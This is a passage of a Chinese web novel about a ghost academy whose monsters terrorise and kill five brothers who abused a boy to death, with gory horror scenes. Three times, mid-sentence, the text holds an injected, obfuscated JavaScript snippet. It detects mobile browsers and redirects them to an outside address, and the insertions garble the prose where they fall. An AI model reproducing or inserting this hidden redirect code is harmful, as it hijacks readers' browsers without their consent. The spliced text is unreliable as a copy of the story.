“好了,基础道具就是这些。”玛门掸了掸手,“以后在每次任务之前,你都可以再来挑选一次道具。普通的道具我会找路西法校长报销,太贵的我们另外谈价。”玛门的眼睛里泛出精光,“我保证价格会很公道。” ……居然是出售的啊? 司凌突然对他象征贪婪这事有了清晰的认知。 她将几件道具收进玛门背包就和阿坠一起离开了“地狱科技研发部”,前往高级班所在的教室。 教室位于城堡西侧高塔的顶层,这部分建筑太高,所以路西法在布下结界时为它加装了电梯——是老式的那种电梯,内里的空间是圆柱形的,门是古铜色的推拉栅栏,拉动时和上下的轨道摩擦,会发出令人不适的响声。 阿坠刚走进电梯就笑起来:“这里有学校里唯一的灵异传说。” “什么?”司凌奇道 鬼怪学院搞“灵异传说”,就挺神奇的。 “听说深夜独自坐电梯会听到地狱深处的鬼嚎——这个故事已经流传五十年了。”阿坠撇嘴,“但很多人都试过了,没人听见。现在大家普遍认为这是当年的精灵交换生编造的谎言——他们与自然的关系更近,有更强的感知力,平常又以高贵优雅的姿态示人,编这种谎很容易骗到人。” 电梯上升到三楼停住了,还没停稳,她们就看到栅栏外是拿着资料夹的路西法。 虽然路西法是个尽职尽责的校长,但并不亲自授课,因此也不大出现在这个塔楼里。于是电梯才开始继续上升,阿坠就问:“有新任务吗,校长?” “是的。”路西法平静地回答。司凌敏锐地发觉他神情发沉,想了想,没好发问。 不过二十分钟后,她就知道路西法脸色难看的原因了。 在上课铃打响后,他就让跟在后面进来的阿坠把负责教授理论课的密米尔教授请了出去——准确地说是抱了出去,因为密米尔只剩一颗通晓知识的头颅被奥丁用法术保留了下来②。 阿坠小心地捧住那颗头颅的两侧,将他从讲台上捧下来。密米尔教授对此并不介意,只是叮嘱阿坠:“把我放在楼道的公共长椅上,别放窗台上!窗台是大理石的,凉飕飕的,从脖子一直凉到大脑,知识都冻住了!” “好的,密米尔教授。”阿坠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197345|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应道。 等阿坠安置好那颗头,路西法就开始下发文件夹里的文件了。 司凌在三万年的漫长岁月里从未接触过这种杀人的任务,在拿到文件前心里只有好奇,但当她拿到文件一目十行地扫过,一股阴凉就从心底蔓延开来。 靠近窗户的地方,狼人三兄弟愤怒地捶起了桌子:“什么禽兽!”老大芬瑞克咆哮道。 狼人组体格健壮,即便现在是人形也比普通人强壮很多,肺活量也大,这一声怒吼喊得周围的鬼怪直揉耳朵。 老二乌尔瑞克表达愤怒的方式更为直接,面前的课桌被他一拳击垮。 老三奥瑞克相对文雅些,只是呲出了狼牙,用低沉的嗓音阴恻恻道:“这种垃圾,做成狼饲料都没人吃!” “好了。”路西法笑侃,“乌尔瑞克,这是你这学期砸碎的第三张桌子了,玛门早就想收罚款了。” “哈哈哈哈!”学生们哄堂大笑。 司凌的注意力完全投注在手中薄薄的纸页上,心里暗叹:真是魔鬼在人间。 纸页上说,任务目标是一个四十多岁的男人以及他的四个兄弟。男人名叫约翰·斯特曼,妻子在一年多前难产去世了,留下一个八岁的儿子,艾利欧特·斯特曼;以及前不久刚满周岁的女儿,辛西娅·斯特曼。 斯特曼兄弟五人都是异性恋,但对幼童有难以描述的“兴趣”。在妻子去世前,他们将这种兴趣限制在图片和视频上,但当妻子去世,他们犹如恶魔挣脱了枷锁,由身为父亲的最先开始,向年仅八岁的艾利欧特伸出了毒手。 没有人知道艾利欧特在这一年多里究竟遭遇了什么,就连路西法也只知道他在昨天因重伤陷入了昏迷。 整整一天时间,他的灵魂飘在阴阳两界之间。直至昨晚,他因回光返照回到了人间。 ——所有人读到这段的时候,纸页上都浮现出一个小小的画面,那是男孩离世前的景象。 艾利欧特从床上爬起来,艰难地下地,印着超级英雄的床单和被子上印着清晰的血迹。 他走到窗边的书桌前,桌子一角摆放着一个巴掌大的金属十字架,那是上帝的标志。 艾利欧特木然地将它拿起来,夹在双手之间,虔诚地跪到地上,闭上眼睛,显然想向上帝祈祷。 但在两秒之后,他又睁开了眼睛。 他摊开手掌,冷冷注视着那个十字架,然后将它倒了过来,接着又环顾四周,拉开书桌抽屉翻出一枚曲别针,将曲别针掰直,一圈一圈地缠到十字架上。 逆十字架缠绕毒蛇,这是撒旦的象征③! 然后他重新合十双手,再度虔诚地跪在地上、闭上眼睛:“我一直向上帝祈祷,但上帝从未保佑过我。” “现在,我向恶灵祈祷……撒旦、路西法……我不知道你们是不是一个人,但不管怎样,都请保佑我保佑我的妹妹辛西娅免受伤害,让她在幸福和健康中长大。” “撒旦为此震怒,我也一样。”路西法的声音从教室前方传来,方才的调侃意味荡然无存,淡漠里透着难以压制的愤怒。 “现在,艾利欧特单纯美好的灵魂已经去往天堂,耶和华会庇佑他。” “他的祈祷则是我们的任务了。去收拾掉那些恶魔,艾利欧特无辜的妹妹将被福利机构接手,撒旦已经在冥冥之中安排好了最好的收养人。” “至于那些恶魔——地狱火焰已经在等待他们的灵魂,三头犬也已经饥饿难耐。” 路西法神情间的温度消失不见了,就连那种愤怒也再难寻得踪迹,取而代之的是凛冽的杀意:“杀了他们,所有人。” 7.收拾全员恶人的一家(1) 按照鬼怪学院约定俗成的规定,每次任务会调用高级班差不多三分之一的成员,通常在8到12人之间浮动。路西法这次选定的一共有九人,依次是狼人三兄弟、僵尸新娘伊丽莎白、八音盒里的爱丽丝,吸血鬼王子艾麦里克和另一名男性吸血鬼维莱——因为家族的缘故,他宣誓效忠于艾麦里克。 除此之外,就是司凌和阿坠了。 人选确定后,第一件事就是去玛门的地狱科技研发部挑选道具。 司凌没想到自己在入校的第二天就能直接参加任务,这和她的预想不太一样,于是在往地狱科技研发部走的时候,她小声问阿坠:“我怎么感觉这不像学校,更像个行动部门?” “因为你还没来得及上课就碰上了任务吧?”阿坠失笑,“这里的确是学校,理论课程很多的。这种任务更像是‘实习’,妖怪们希望拿到足够好的实习证明去撒旦那里换一个高级职位,至于鬼……”她望了眼斜前方被伊丽莎白托在手里的八音盒,“很多鬼其实算是路西法请来的‘外援’,路西法给了他们一些承诺。” “承诺?”司凌眼露困惑,阿坠点点头:“去天堂的资格,或者在地狱里的良好待遇,也有的是承诺帮他们复仇——有的鬼无法去往天堂就是因为仇还没报,报了仇也就能去天堂了。” “这样啊。”司凌点头表示了然。 走在一行人最前面的艾麦里克此时已走进地狱科技研发部,莱维紧随其后。司凌对那些道具还挺好奇的,于是停止了私下里的交谈,聚精会神地张望前面。 挑选道具的整个过程都是由玛门亲自带领的,精明算计的玛门绝不允许他们胡乱挑选,这正好让司凌趁机了解了不少道具。 “我猜两位吸血鬼先生还是会要它。”玛门首先将一个蝙蝠型的小盒子递了过来。高贵的艾麦里克毫无伸手的意思,莱维尽职尽责地替他接了过来。 阿坠小声给司凌科普:“蝙蝠幻影盒,由意念驱动的,可以放出成群的蝙蝠,还能驱使蝙蝠冲向目标。吸血鬼加蝙蝠是最符合活人刻板印象的标配。” 司凌皱起眉头:“他们为什么不自己弄个幻境?” “……不是所有物种都会那种幻境。”阿坠道。 玛门在两排高大的木架前走走停停,很快又选定一样,递给狼人三兄弟:“这是你们最喜欢的。我前两天给它升级了一下,让它的味道更能触动人类的远古DNA。” 司凌的视线穿过面前几个鬼怪的缝隙,看到那是个小小的方盒,上方有个按钮,另外五面都是小孔。 阿坠说:“腐朽气息释放器……能瞬间散发出恐怖的腐肉味道,让人幻想它们撕碎过多少受害者、继而认为自己是下一个。” 司凌挑了挑眉,没有做出任何评价。 很快,参与行动的成员都陆陆续续地完成了挑选,除了司凌之外每人都选了三样道具。阿坠选定的三个道具中有一个“墓地幻境盒”,既可以在现实中触发也可以探入目标的思维进行使用——这是很聪明的选项,因为他们这次任务地点的对面就是一片墓地,如果阿坠在目标置身墓地的同时在他们的思维里也触发墓地幻境,很容易让目标无法分辨虚实,这是让目标疯狂掉SAN的一个捷径。 玛门的目光投向司凌,礼貌地问她:“你选点什么?” 司凌想了想,客气地颔首:“先不了,这是我的第一次任务,我想先学习一下怎么做,就不浪费您的道具了。” 她的最后一句话正中玛门下怀,他欣慰地笑起来,对于夸奖也就毫不吝啬了:“瓷国人就是低调谦逊,我见过太多骄傲自大的鬼怪了——虽然从某种意义上说,他们也有骄傲自大的资本,但你这样更让人舒服。” 司凌微微一笑,几步外却想起一声讥诮的冷笑:“或许她真的只是怕‘浪费’您的道具呢?玛门教授。” 司凌抬眸,说话的是僵尸新娘伊丽莎白。僵尸新娘的属性让她的脸色白得像纸,挂着乌黑的眼圈,脸上还有血迹,这样笑起来显得格外诡异。 艾麦里克屏息喝止她的无礼:“伊丽莎白!” 伊丽莎白脸上的笑容骤然消失,她噤声看向艾麦里克,眼底的情绪变了又变。 “……好吧。”玛门稍有些窘迫地清了清嗓子,“总之,祝各位一切顺利。”他向众人颔首,大家纷纷道谢,然后就离开了。 . 从撒旦提供给路西法的资料来看,斯特曼五兄弟打算在今天开始一场短途的度假旅行,艾利欧特的突然离世并未让他们改变计划。 他们挑选了弗莱堡市郊外的一幢别墅作为落脚点,弗莱堡市位于汉斯国西南边陲,不仅有黑森林、大教堂一类的著名景点,去邻国高卢鸡也很近,很适合安排这种短途度假。 这个地方离鬼怪学院所在的霍亨索伦堡也并不远,只有二百多公里的路程。对于司凌这样的厉鬼而言自己飘过去是最方便的,但狼人想采用这种“自由奔跑”的交通方式就必须化出真身,路西法又不能布下长达二百多公里的结界,被人类看到奔跑的狼人就太刺激了,更别提还有僵尸新娘这类更刺激的物种存在。 所以在出这种任务的时候,路西法通常会选择一种更常见的交通工具:大巴。 大巴足够装下所有人,还能放一些简单的设备,并且只需要一道简单的法术就可以让交警在抽查时主观放弃对这辆车的检查,安全又便捷。 大约三个小时后,大巴停在了斯特曼五兄弟即将入住的别墅外。 不出意外的话,他们应该会在一个多小时后到达别墅。 路西法在车子停稳后立刻施法构筑结界,将大巴连带别墅都划进了结界范围,兄弟五人只要进入结界范围就会脱离正常世界,处于独立的空间之中,大巴也自此从凡人眼中消失不见。 任务成员在下车前检查了传音符和SAN值测定器的功能,然后就陆续下车走进了别墅,挑选队友和自己想用的屋子。 按照鬼怪学院约定俗成的规矩,在上次任务中击杀数最高的优先选择地图。吸血鬼王子艾麦里克和僵尸新娘伊丽莎白上次打了个平手,艾麦里克绅士地表示“女士优先”,伊丽莎白就选择了位于别墅三楼的主卧。 艾麦里克便挑选了位于二楼的次卧,和莱维一起将四间次卧都占了下来,八音盒女鬼爱丽丝便选了位于一层的书房。 狼人三兄弟则选择了阁楼,在西方鬼片里,阁楼显然是个闹鬼的绝佳场所。 “我们只剩客厅和厨房了。”阿坠叹了口气,有些愧疚地望着司凌,“对不起,我太菜了,我……” “你说我们去对面的墓地怎么样?”司凌突然问。 阿坠一愣,哑然道:“如果你想用墓地,我有墓地幻境盒……” “为什么不用真实的墓地呢?”司凌笑笑,“我看那片墓地后面就是森林,多好的闹鬼场所啊?” “可是……”阿坠想劝司凌,忽而心念一动,马上点了头,“也对!” ——她本来想说路西法没有对墓地布下结界,她们如果要去就得另布结界,这是考验修为的事情。 而且,虽然同样是装鬼吓人,但墓地是开阔地带。 比起狭小的室内,开阔地带总要消耗更多法术,也更容易让目标逃得不知所踪,难度骤增。 可她突然想到司凌吓住艾麦里克的事情。她不清楚司凌具体做了什么,但这总归证明司凌远比她要厉害。 阿坠是个有自知之明的小妖,意识到这一点,她马上打消了对司凌指手画脚的念头。 外面的大巴里,只剩一颗头的密米尔教授被放在副驾上,路西法坐在他的侧后方,也就是乘客位置的第一排。密米尔一边望着外面空旷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203432|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的街景一边絮絮叨叨:“啧,路西法,我知道撒旦这些年的忌惮和打压让你很不爽,但是在司凌的事情上,你是不是太心急了?” 路西法也侧首望着窗外,半晌才问:“什么意思?” “我的意思是。”密米尔咂咂嘴,“你不该急于让她进行任务,可以先通过其他方式观察一下她的实力。否则……她如果足够厉害,那当然好,但如果出了什么闪失,那可是和瓷国地域之间的外交问题,反倒合撒旦的意。” “况且,你也要理解撒旦的危机感——在这些年的文艺作品中,你和他经常被混为一体,有时人们还会用你的名字直接取代他的名字,这对任何一位神明来说都是很可怕的事情,我们都明白名字意味着什么,不是吗?” ——神名需要被世人铭记,这会直接影响他们的法力。 这一点对于鬼怪而言也一样,这也是为什么在遥远的东方世界,玄学人士总会强调“不要用生僻字取名”的一个原因。名字里的任何一个字被铭记、被念叨,都会在“冥冥之中”造成影响。 举个例子,如果一个人叫“张赑媭”,由于“赑媭”两个字都很少被世人提及,他死后想要维持灵体就必须刻苦修炼。 而如果他叫张伟李伟王伟,人们每一次用到“伟大”“伟岸”这种词汇都会在冥冥之中影响到他。虽然这种影响微乎其微,但积少成多,足以避免他魂飞魄散,他想修炼出点名堂也就更容易。 路西法当然知道这一点,但他无意对此多加探讨。他仍沉默地凝望着身侧的窗户,直到密米尔再次出声:“哦……她们要干什么?” 路西法拉回神思,顺着密米尔视线的方向看向前方的窗外,大概七八米远的地方,司凌和阿坠正一起过马路,走向对面的墓地。 密米尔友好地提议:“虽然按照规定,我们不应该随便扩展任务地图,但照顾一下新人也不错,你说呢?” 路西法对此并不反对,便想起身下车,但刚站起来,他的身形就顿住了。 密米尔的目光同样顿住,他们一同看着右前方道路边,那是路西法布下的结界边缘,在往前一步就会走出结界,马路对面的墓地和一眼望不到尽头的森林恰在结界之外。 司凌与阿坠在结界边缘停住脚,路西法眼看司凌张开双臂,一阵黑雾骤然升腾,起初只在她面前泛起一小片,但在几秒内就开始迅速向外扩张,犹如奔腾的浪潮般袭向结界外的墓地。 ……她在自己扩展结界。 “好吧,我多虑了……”密米尔又开始碎碎念,“瓷国神鬼总是这样,谦逊得过了头!你知道吗?他们曾经派一位长了三只眼睛的杨先生出访阿萨神域①,奥丁想切磋一下法术,就问他会不会打架,你猜他说什么?” 密米尔抛出疑问,路西法的目光虽然仍紧盯着司凌,但还是配合地发问:“什么?” “他说,‘不会,可以陪你玩玩’——然后,哈哈,我们眼看他施放出一个巨大的幻影,长得跟他一样,但大到遮天蔽日②。奥丁的神宫只有他靴子的一半大,我们都吓坏了,还以为诸神黄昏③要提前降临了呢!后来……还好他及时发现不对劲,主动收掉了法术,他很抱歉地跟奥丁说‘对不起,我以为您是想做这种切磋’,奥丁尴尬得要命,哈哈哈哈!” 密米尔用他一贯的碎碎念口吻讲着八卦,但这次他没能得到路西法的回应。 ——路西法眼看着司凌施放出的黑浪覆盖了整片墓地又袭向更远处的森林,扩展出的结界面积几乎是他布下的结界面积的二十倍。 当然,他只布了很小的一块结界,主要是因为别墅连带院子就这么大,他们总不能为了吓死斯特曼五兄弟去邻居家闹鬼。 但这并不妨碍司凌的实力惊住了他。 路西法心里掀起一种喜悦,一种“终于能给撒旦好看”的喜悦。 8.收拾全员恶人的一家(2) 一个半小时后,斯特曼五兄弟吵吵嚷嚷地住进了别墅。 此时正值下午天色明亮的时候,不大适合闹鬼,大家都按兵不动。五兄弟一边放下行李一边商量晚上要在庭院里烧烤,明天去弗莱堡市的黑森林打猎,后天出境去高卢鸡。 狼人老三奥瑞克通过传音符愤怒地嘲讽:“Hello?他们还记得自己家还有个虐待致死的孩子正在停尸间的冷柜里躺着吗?” 伊丽莎白笑道:“他们如果在意这种事,艾利欧特就不会死了。” “人类惧怕鬼怪。”艾麦里克的声线清冷低沉,“但他们总是比鬼怪更可怕。” . 夜幕渐渐降临了。 弗莱堡长达百余公里的黑森林最先没入夜色,别墅中的光线也很快由明转暗,五兄弟打开房间里的灯,从冰箱里取出事先准备好的食材,去庭院里支起烤炉,开始热闹的晚间烧烤。 阿坠和司凌以隐形状态坐在对面墓地的一个坟头上,坟头的主人生前是位女警,暴躁但正义,当她发觉有人坐在自己房顶上的时候,凶神恶煞地飘出来骂了几句,但当阿坠告诉她“我们要收拾几个炼铜癖”的时候,她马上缓和了面色,客气地鼓励了她们几句,然后还从墓里给她们拿了几瓶啤酒出来。 “汉斯国的啤酒确实很棒。”阿坠举着瓶子灌了两口酒,眼中忽而黯了黯,叹了口气,“我听说青岛的啤酒也很棒……但我被带离瓷国的时候,他们还没有这种东西,也不知道还有没有机会喝到。” “会有的。”司凌喝了口酒,酒的冷意和周围雾气的寒凉呼应,显得更冷了。 所谓的冷其实对鬼怪毫无影响,但不知为什么,她很讨厌这种潮冷的感觉,便掐诀给自己变了一件风衣,同时安慰阿坠:“你会回国的,到时候你能体验的新东西多着呢。” 突然间,三楼主卧的灯光剧烈闪动几下,不仅她们在对面看到了,在别墅院子里烧烤的五兄弟也看到了。 阿坠攥着酒瓶笑了声:“伊丽莎白开始了。” “怎么了?”孩子的父亲约翰·斯特曼皱眉看了看楼上的窗户,五兄弟中的大哥施特凡·斯特曼不以为意道:“可能灯泡该换了,或者供电不大稳定。” 约翰也这样想,于是低下头继续烤串。也就过了三两分钟,三楼灯光再次剧烈闪烁。 这次,当施特凡抬头望过去的时候,看到一个人影从窗前走开。 施特凡眉心倏皱,第一反应是屋里进了贼。 三楼主卧刚好是施特凡的房间,他想了想,跟几个弟弟说了句“我进去看看”,就绕过烤炉进了屋。 由于有打猎的计划,兄弟几个出来时带了猎枪,在抵达别墅后统一挂在了客厅的大门后面。施特凡摘下一把猎枪,将子弹上膛,轻手轻脚地往楼上走。 阿坠和司凌将这一切尽收眼底,司凌有点无语:“他为什么不多喊两个人?独自行动也太傻了吧。” 阿坠撇嘴:“只能说恐怖片的经典桥段虽傻但永不过时。” 施特凡有惊无险地经过一楼、二楼,顺利到达主卧所在的三楼。 走进主卧后,他倒没有像恐怖片主角那样傻到黑灯瞎火地寻找异样,而是第一时间打开了灯。只是高度紧张让他忽略了一些细节——比如在他上楼之前,灯光虽然两度剧烈闪烁,但最终都是亮着的,他进屋时屋里却黑着灯。 施特凡端着枪,警惕地环顾四周:“谁在屋里?” 目光所及之处,卧室看起来一切正常:这间主卧很宽敞,但并没有太多遮蔽。正当中是一张双人床,床头抵在与房门相对的墙上,床两侧都有床头柜。最左面因为是窗户就没放什么家具,只铺了一块长方形的地毯,写字台、梳妆台这些都在房门这侧的墙壁处,房门左手边还有个齐肩高的七斗柜,这就是卧室范围内的全部陈设了。 此外,床的右侧墙壁上是两道门,一道通往浴室,一道是衣帽间。 兄弟五人只是短途旅行,衣帽间属实有点多余,施特凡到达别墅后没进衣帽间一步,打开的行李箱直接撂在了床边的地上。 但现在,在他确定卧室里并没有人之后,他首先怀疑贼藏在了衣帽间里。 施特凡端着猎枪,一步步走到衣帽间前。他无声地拧动门板上的金属把手,先将枪杆探了进去,沉声道:“出来吧,我看见你了!” 无人回应。 施特凡伸手摸向衣帽间门内的墙壁,把衣帽间的灯也打开了。 衣帽间结构狭长,可供人行走的过道宽度只有一米半的样子,但长度有四五米。两侧都是直通房顶的木柜,其中只有靠门的两列是没有柜门的格子,其余都被高大的柜门遮挡,很容易藏人。 施特凡猜测窃贼就藏在这些柜子里,于是完全走进衣帽间并反手阖上了门,端着枪,慢慢打开第一道柜门。 ……而在他看不到的衣帽间外,大开的主卧房门被一阵微风悄无声息地关上,灯光也随之熄灭。 “出来!”衣帽间内,施特凡的情绪逐渐暴躁,打开又一道柜门却依旧一无所获后,他在暴躁里放弃了刚才的小心,一口气将剩下几道门全打开了。 所有的衣柜都空空如也,根本没有窃贼的影子。 “F**K!”施特凡暗骂一声,气哼哼地大步走向衣帽间房门,一把将门拉开。 当他看到外面一片漆黑的时候,那种暴躁感更强烈了,他没再去门口开灯,而是直接端着枪冲进浴室:“谁在里面!滚出来!” 突然,他听到背后有响动。 施特凡猛地转身,一张满脸血污的惨白面孔正跌跌撞撞地扑过来! 只这么一瞬间,伊丽莎白看到他头顶上的SAN值进度条跳出一个:-10% “哇——”她口中发出怪叫,施特凡和她脸对脸惨叫:“啊——!!!”叫到破音! 下一秒,伊丽莎白将他扑倒在地,施特凡的眼睛逐步适应眼前的黑暗,进一步看清了伊丽莎白的样子,看清了她不合时宜的婚纱和浓重到明显不属于活人的黑眼圈。 -10%。 “啊啊啊滚开!!!”施特凡挣扎着大叫,“救命!救命!” 伊丽莎白掐住他的喉咙,将他的脑袋狠狠撞在地上。 -10%; -10%…… “哇!”伊丽莎白再次发出怪叫,口中崎岖发污的牙齿似乎随时要咬下来,尸体腐烂的腥臭味从她口中喷出,令人作呕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221297|165234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “啊啊啊啊——”施特凡想端起手里的枪,但剧烈的颤抖让他根本摸不到扳机。 正当他以为伊丽莎白要一口咬死他的时候,那张气味感人的嘴巴突然张大,无数米粒般的东西从口中一涌而出,喷向施特凡的脸。 即便正深处极致的恐惧,施特凡在这一瞬间也是懵的,但很快他就注意到那些落在脸上的东西在动,在蠕动…… 因为他大声叫被喷进嘴巴的也在蠕动……他不经意地一动嘴,就有几颗在唇齿间爆裂,又软又黏。 他还闻到了一点难以描述的气息,让他联想到这些黏软的家伙最喜欢滋生的地方。 ——蛆虫幻象器,玛门教授引以为傲的小发明之一。 完美复刻了蛆虫的质地,同时还细心混杂了一点腐尸和粪便的气息。 施特凡慌忙闭口,瞬间消音,但安静进一步激发了其他感官的灵敏度,他更为细致地感觉到有几颗黏软的小东西滑落到嗓子眼里,躯体的蠕动带来轻微的痒意。 “呕——”他猛地侧首干呕,伊丽莎白满意地看到他的SAN值又掉了20%。 施特凡呕得脸颊一侧和旁边的地面上都是黏腻的液体,其中还混杂些半死不活的蛆虫,一扭一扭地翻滚挣扎着。 -10%。 终于!施特凡摸到了扳机。 “砰——” 楼下烤肉的四兄弟惊然抬头,对视一眼,不约而同地冲向大门。 这一枪打中了伊丽莎白腹侧,子弹的冲击力将她向后一冲。 施特凡趁机将她踢开,手脚并用地逃窜,冲出浴室门刚拉住主卧门把,被人从后面一把扑住双肩。 这一次,剧痛毫不客气地从肩头袭来! 施特凡不受控制地向后栽倒,当他再次仰面摔地上的时候,本就满脸血污的伊丽莎白口中多了一块鲜血淋漓的肉。 “啊——啊……”施特凡疼得发蒙,也吓麻了。 他眼前一阵阵地发白,一时甚至忘了爬起来逃命,痛苦地躺在地上,怔怔望着正咀嚼血肉的伊丽莎白。 浓稠的血浆一坨一坨低落,溅落到她那件本就沾满污渍的破旧婚纱上,血腥气撞进施特凡的鼻腔。 -10%。 只剩-20%了,作为能力水平可观的僵尸新娘,伊丽莎白很有机会将他一击毙命。 她慢条斯理地吞掉嘴里那块肉,毫不留情地再次扑向施特凡。 “扑——”并不尖锐的牙齿咬破皮肉穿透喉咙,发出一似独特的声响。 施特凡双目圆睁,身体一下下地抽搐,小腿抬起又落下,皮鞋的鞋跟一声接一声地磕响木质地板。 “砰!”房门被一脚踹开,兄弟四人毫无防备地在黑暗中看到大哥被僵尸啃咬的血腥景象。 “啪。”灯在这时又恰到好处地亮了,施特凡被完全扯下颈部皮肉的画面清晰呈现,他们甚至能看到他颈侧血管的微弱跳动…… 伊丽莎白也抬头看向他们,鲜血已将她的半张脸都染红,她端详着他们微微歪头,无声地勾起一缕笑。 “啊……” “啊!!!” 兄弟四个夺门而出,连滚带爬地扑向楼梯。 9.收拾全员恶人的一家(3) 伊丽莎白怪叫着追到楼梯口,伸出苍白枯瘦的手想抓住跑在最后的人,但被挣开了,只能悻悻地返回房间。 这是鬼怪学院一直以来的任务规则——除非大家在任务开始前商量好一起行动,否则每个人都只能在自己挑选的范围内活动,这样能最大程度地避免恶性竞争。 兄弟四人在确认伊丽莎白没再追出来的瞬间一下子脱力,他们纷纷跌坐在地,惊魂不定地大口喘着气。 老二马蒂亚斯的衣服已经完全被汗水浸湿,边紧盯着空荡的楼梯边道:“怎么、怎么回事?这是凶宅吗?!” “那像个丧尸?”约翰说。他皱了皱眉,就往楼下走,“楼下还有枪,我去杀了她!” “先……先报警吧!”马蒂亚斯吞了口口水,走向不远处的房间,“我去拿手机。” 余下两人在他们的交谈中也冷静了一些,他们对视一眼,觉得报警只需要一个人就够了,“猎杀丧尸”显然难度更大,就一起跟约翰下了楼,去取猎枪。 马蒂亚斯则回到了自己的那间屋子。 他的手机正放在床头柜上充电,马蒂亚斯坐到床边拿起手机,正犹豫是拨110还是112①,手机突然震动起来,屏幕上显示正打来的是“未知号码”。 马蒂亚斯也不算太傻,他在短暂的窒息后果断按下挂断,屏幕顿时跳转回手机主界面。 但—— 2025年,鬼怪们也与时俱进了,那阵铃声并无引诱马蒂亚斯接通电话触发鬼怪的意思,事实上马蒂亚斯就算接了,对面也只有忙音。 铃声响起只是为了吸引马蒂亚斯的注意力,顺便拖延他报警的动作。 马蒂亚斯缓了两口气,重新开始拨号,突然听到背后传来窸窸窣窣的声音,他诧然回头,在尚未开灯的昏暗中,一群蝙蝠扑扇着翅膀飞过来。 “啊!”马蒂亚斯从床边弹起,先是慌乱地保住脑袋,紧接着又奋力挥手驱赶,当他再定睛的时候,发现身边的墙壁上毫无道理地投出了一片月轮般的圆形白光,白光中映照出一个身着西装的男子侧影,棱角分明,竟然透出一股阴冷的……帅气。 SAN值-10%。 “What the……”马蒂亚斯脱口而出的话才到一半,周遭的景象突然变换,光线毫无征兆地亮了,房间也变大了数倍,变成了颇具古典气息的欧洲舞会场景。 他正置身在舞池之中,旁边都是翩翩起舞的贵族。 马蒂亚斯摸不清状况,站在那里茫然四顾。突然,他闻到一股迷人的甜香,转过头,看到不远处正有侍者小心翼翼地往高脚杯堆成的塔里注入红酒,马蒂亚斯怔怔地盯了几秒,发现不仅酒香诱人,就连那半透明的暗红也让人沉醉。他于是一步步走向红酒塔,轻握在手中的手机被充电线拽得掉落在地,发出一声并不算很轻的闷响,但他浑然不觉。 与此同时,剩余的三兄弟已在一楼拿好猎枪,鼓起勇气折返三楼。 从客厅到楼梯间再到楼道,他们每路过一个开关都会把灯打开,光明带来了很好的壮胆效果。在踏上三楼的最后一个台阶时,三个人都已不在发抖了,他们信心十足地要击毙那个可怕的生物,给死去的兄弟报仇。 主卧的房门又关上了,三人不约而同地脑补出刚才迎面撞上的可怕景象,脚步放轻到微不可寻。只是当靴子踏过木地板老化的地方,身体的重量依旧会压得木地板发出吱呀轻响,在万籁俱寂的黑暗里,这种声响让人头皮发麻,三人赶紧都停住动作,直至声音完全消散才再度前行。 从楼梯口到主卧房门不过短短五米,他们却足足走了好几分钟。 终于来到房门口时,老四尤利安一边握住门把,一边看向约翰。 约翰举起猎枪指向门缝位置,咔啦一声将子弹上膛,屏住呼吸,做好了尤利安开门的瞬间将丧尸一枪爆头的准备。 “咔——”尤利安缓缓拧动门把手,每个人的呼吸都凝滞了,他们脑海中浮现出那张沾满血污的面孔,又现象那张脸张牙舞爪地从施特凡的尸体上窜起来扑向自己。 几秒后,房门完全打开了。 尤利安松开了门把,约翰也放下了枪。 房间里什么都没有。 暖黄色的灯静静地亮着,房间里没有什么穿着婚纱的丧尸,也没有施特凡的尸体。地面上干干净净,好像刚才的一切都只是他们的幻觉。 有那么一瞬间,兄弟三人都有点怀疑自己了。他们沉默地对视了两秒,约翰重新端起枪:“进去看看。” . ……在他们正上方的阁楼上,伊丽莎白通过脚下的单面镜面无表情地看着主卧里的三人。在她身边,狼人三兄弟正在无能狂怒。 他们之所以选定阁楼,是因为阁楼经常出现在鬼故事里,属于经典闹鬼场所。 可目标根本不往阁楼来就是另一回事了。 更糟糕的是,目标还带了猎枪。 他们这种“有实体型妖怪”是会受伤的,伤势过重也会致死;僵尸新娘伊丽莎白虽然理论上已经是个“死人”,但和枪正面刚也并不明智——和很多影视片的设定一样,她如果被爆头或者被打碎那就一切都结束了。 ——毕竟谁也没见过碎尸块狂奔追人,对吧? 所以理智起见,他们都躲在了阁楼上。 狼人老大芬瑞克悔不当初:“早知道咱们四个直接合作,在他们第一次上楼时就直接扑上去围攻,当时他们手里没有猎枪,咱们的胜算高多了!” “是啊!”老二乌尔瑞克咬牙切齿,“就不该给他们逃脱的机会!” 伊丽莎白的心情倒比他们好些。 这次任务一共有五个目标,但总共来了九个人,注定是有人要无功而返的。她成功拿下了其中一个,已经是不错的成绩了。 二楼。 